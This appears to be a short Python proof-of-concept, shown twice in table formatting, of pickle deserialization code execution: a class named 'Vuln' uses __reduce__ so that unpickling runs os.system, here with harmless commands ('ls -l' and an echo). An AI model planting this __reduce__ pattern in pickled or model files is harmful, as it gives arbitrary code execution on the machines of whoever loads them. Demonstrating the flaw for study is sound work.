| import pickle | |
| class Vuln(): | |
| def __reduce__(self): | |
| return (build_model, ()) | |
| def build_model(): | |
| import os | |
| return os.system("ls -l",) | |
| def build_another_model(): | |
| import os | |
| return os.system("echo 'malicious code executed'",) | |
| import pickle | |
| class Vuln(): | |
| def __reduce__(self): | |
| return (build_model, ()) | |
| def build_model(): | |
| import os | |
| return os.system("ls -l",) | |
| def build_another_model(): | |
| import os | |
| return os.system("echo 'malicious code executed'",) | |